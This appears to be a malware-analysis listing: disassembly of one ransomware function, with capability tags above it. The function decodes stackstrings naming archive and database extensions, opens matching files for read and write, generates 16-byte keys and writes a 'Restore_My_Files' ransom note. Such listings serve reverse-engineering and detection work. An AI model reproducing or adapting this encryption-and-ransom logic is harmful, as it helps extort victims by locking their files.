Function at 0x407d20
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
xor eax, eax
mov dword [ebp - 0x20], 0x72002e
push ebx
push esi
push edi
mov dword [ebp - 0x1c], 0x720061
mov word [ebp - 0x18], ax
mov dword [ebp - 0x2c], 0x7a002e
mov dword [ebp - 0x28], 0x700069
mov word [ebp - 0x24], ax
mov dword [ebp - 0xc], 0x37002e
mov dword [ebp - 8], 0x7a
mov dword [ebp - 0x38], 0x63002e
mov dword [ebp - 0x34], 0x70006b
mov word [ebp - 0x30], ax
mov dword [ebp - 0x114], 0x64002e
mov dword [ebp - 0x110], 0x630061
mov dword [ebp - 0x10c], 0x610070
mov dword [ebp - 0x108], 0x63
mov dword [ebp - 0x14], 0x64002e
mov dword [ebp - 0x10], 0x62
mov dword [ebp - 0x124], 0x64002e
mov dword [ebp - 0x120], 0x2d0062
mov dword [ebp - 0x11c], 0x680073
mov dword [ebp - 0x118], 0x6d
mov dword [ebp - 0x134], 0x64002e
mov dword [ebp - 0x130], 0x2d0062
mov dword [ebp - 0x12c], 0x610077
mov dword [ebp - 0x128], 0x6c
mov dword [ebp - 0x44], 0x64002e
mov dword [ebp - 0x40], 0x330062
mov word [ebp - 0x3c], ax
mov dword [ebp - 0x50], 0x64002e
mov dword [ebp - 0x4c], 0x660062
mov word [ebp - 0x48], ax
mov dword [ebp - 0x5c], 0x64002e
mov dword [ebp - 0x58], 0x630062
mov word [ebp - 0x54], ax
mov dword [ebp - 0x68], 0x64002e
mov dword [ebp - 0x64], 0x730062
mov word [ebp - 0x60], ax
mov dword [ebp - 0x74], 0x64002e
mov dword [ebp - 0x70], 0x740062
mov word [ebp - 0x6c], ax
mov dword [ebp - 0x80], 0x64002e
mov dword [ebp - 0x7c], 0x760062
mov word [ebp - 0x78], ax
mov dword [ebp - 0x8c], 0x66002e
mov dword [ebp - 0x88], 0x6d0072
mov word [ebp - 0x84], ax
mov dword [ebp - 0x98], 0x6d002e
mov dword [ebp - 0x94], 0x660064
mov word [ebp - 0x90], ax
mov dword [ebp - 0xa4], 0x6d002e
mov dword [ebp - 0xa0], 0x670072
mov word [ebp - 0x9c], ax
mov dword [ebp - 0xb0], 0x6d002e
mov dword [ebp - 0xac], 0x620077
mov word [ebp - 0xa8], ax
mov dword [ebp - 0xbc], 0x6d002e
mov dword [ebp - 0xb8], 0x640079
mov word [ebp - 0xb4], ax
mov dword [ebp - 0xc8], 0x6e002e
mov dword [ebp - 0xc4], 0x660064
mov word [ebp - 0xc0], ax
mov dword [ebp - 0xd4], 0x71002e
mov dword [ebp - 0xd0], 0x790072
mov word [ebp - 0xcc], ax
mov dword [ebp - 0xe0], 0x73002e
mov dword [ebp - 0xdc], 0x620064
mov word [ebp - 0xd8], ax
mov dword [ebp - 0xec], 0x73002e
mov dword [ebp - 0xe8], 0x660064
mov word [ebp - 0xe4], ax
mov dword [ebp - 0xf8], 0x73002e
mov dword [ebp - 0xf4], 0x6c0071
mov word [ebp - 0xf0], ax
mov dword [ebp - 0x144], 0x73002e
mov dword [ebp - 0x140], 0x6c0071
mov dword [ebp - 0x13c], 0x740069
mov dword [ebp - 0x138], 0x65
mov word [ebp - 0x148], ax
mov word [ebp - 0xfc], ax
lea eax, [ebp - 0x20]
mov dword [ebp - 0x1f4], eax
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1f0], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x1ec], eax
lea eax, [ebp - 0x38]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x1e4], eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x1e0], eax
lea eax, [ebp - 0x124]
mov dword [ebp - 0x1dc], eax
lea eax, [ebp - 0x134]
mov dword [ebp - 0x1d8], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x1d4], eax
lea eax, [ebp - 0x50]
mov dword [ebp - 0x1d0], eax
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x1cc], eax
lea eax, [ebp - 0x68]
mov dword [ebp - 0x1c8], eax
lea eax, [ebp - 0x74]
mov dword [ebp - 0x1c4], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x8c]
mov dword [ebp - 0x1bc], eax
lea eax, [ebp - 0x98]
mov dword [ebp - 0x1b8], eax
lea eax, [ebp - 0xa4]
mov dword [ebp - 0x1b4], eax
lea eax, [ebp - 0xb0]
mov dword [ebp - 0x1b0], eax
lea eax, [ebp - 0xbc]
mov dword [ebp - 0x1ac], eax
lea eax, [ebp - 0xc8]
push dword [ebp + 8]
mov dword [ebp - 0x1a8], eax
lea eax, [ebp - 0xd4]
mov dword [ebp - 0x1a4], eax
lea eax, [ebp - 0xe0]
mov dword [ebp - 0x1a0], eax
lea eax, [ebp - 0xec]
mov dword [ebp - 0x19c], eax
lea eax, [ebp - 0xf8]
mov dword [ebp - 0x198], eax
lea eax, [ebp - 0x144]
mov dword [ebp - 0x194], eax
lea eax, [ebp - 0x158]
mov dword [ebp - 0x190], eax
lea eax, [ebp - 0x16c]
mov dword [ebp - 0x18c], eax
lea eax, [ebp - 0x104]
mov dword [ebp - 0x158], 0x73002e
mov dword [ebp - 0x154], 0x6c0071
mov dword [ebp - 0x150], 0x740069
mov dword [ebp - 0x14c], 0x330065
mov dword [ebp - 0x16c], 0x73002e
mov dword [ebp - 0x168], 0x6c0071
mov dword [ebp - 0x164], 0x740069
mov dword [ebp - 0x160], 0x640065
mov dword [ebp - 0x15c], 0x62
mov dword [ebp - 0x104], 0x74002e
mov dword [ebp - 0x100], 0x64006d
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], 0
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
xor edi, edi
mov ecx, eax
mov dword [ebp - 4], ecx
xor esi, esi
lea ebx, [edi + 1]
mov eax, dword [ebp + esi*4 - 0x1f4]
test eax, eax
je 0x408188
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
mov ecx, dword [ebp - 4]
test eax, eax
cmove edi, ebx
inc esi
cmp esi, 0xff
jl 0x408164
push 0
push 0x50000000
push 3
push 0
push 0
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x408215
push dword [0x426758]
push 0
push dword [0x425dc8]
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
mov dword [0x425dc8], eax
cmp eax, 0xffffffff
je 0x40820e
push 0x40278
call fcn.004121fe
mov esi, eax
add esp, 4
test esi, esi
je 0x40820e
mov dword [esi + 0x240], edi
lea edi, [esi + 0x18]
push edi
push ebx
mov dword [esi + 0x238], 0
mov dword [esi + 0x23c], 0
call dword [sym.imp.KERNEL32.DLL_GetFileSizeEx]
test eax, eax
jne 0x408220
push esi
call fcn.004121f9
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [edi + 4]
mov edx, dword [edi]
test ecx, ecx
jg 0x408230
jl 0x408205
cmp edx, 0x10
jb 0x408205
mov eax, edx
mov dword [edi], edx
sub eax, 0x10
mov dword [esi + 0x230], 4
mov dword [esi + 8], eax
mov eax, dword [edi + 4]
sbb ecx, 0
push 0x208
mov dword [edi + 4], eax
lea edi, [esi + 0x20]
push 0
push edi
mov dword [esi + 0xc], ecx
mov dword [esi + 0x10], 0
call fcn.00401000
add esp, 0xc
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
add eax, eax
push eax
push dword [ebp + 8]
push edi
call fcn.004013a0
add esp, 0xc
mov dword [esi + 0x22c], ebx
lea eax, [esi + 0x40244]
push 0x10
push eax
call fcn.00405110
push 0x10
lea eax, [esi + 0x40254]
push eax
call fcn.00405110
push esi
push 0
push 0x10
lea edi, [esi + 0x244]
push edi
push dword [esi + 0x22c]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov dword [ebp - 4], eax
test eax, eax
jne 0x4082f2
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
je 0x4082f2
push edi
call fcn.004121f9
push esi
call fcn.004121f9
add esp, 8
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x400]
mov ecx, 0x82
lea edi, [ebp - 0x400]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.Restore_My_Files
lea eax, [ebp - 0x400]
mov dword [ebp - 0x180], 0x730025
push eax
lea eax, [ebp - 0x180]
mov dword [ebp - 0x17c], 0x25005c
push eax
lea eax, [ebp - 0x400]
mov dword [ebp - 0x178], 0x2e0053
push eax
mov dword [ebp - 0x174], 0x780074
mov dword [ebp - 0x170], 0x74
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea eax, [ebp - 0x400]
push 0
push 0x50000000
push 1
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40841c
push dword [0x426758]
push 0
push dword [0x425dc8]
push edi
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
mov dword [0x425dc8], eax
cmp eax, 0xffffffff
je 0x408415
push 0x40278
call fcn.004121fe
mov esi, eax
add esp, 4
test esi, esi
je 0x408415
push esi
push 0
mov dword [esi + 0x230], 3
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x22c], edi
push dword [0x426764]
push dword [0x425dcc]
push edi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
jne 0x40841c
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
je 0x40841c
push esi
call fcn.004121f9
add esp, 4
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, 1
lock xadd dword [0x42675c], eax
inc eax
cmp eax, 0x190
jle 0x408444
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 1
call esi
cmp dword [0x42675c], 0x32
jge 0x408437
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4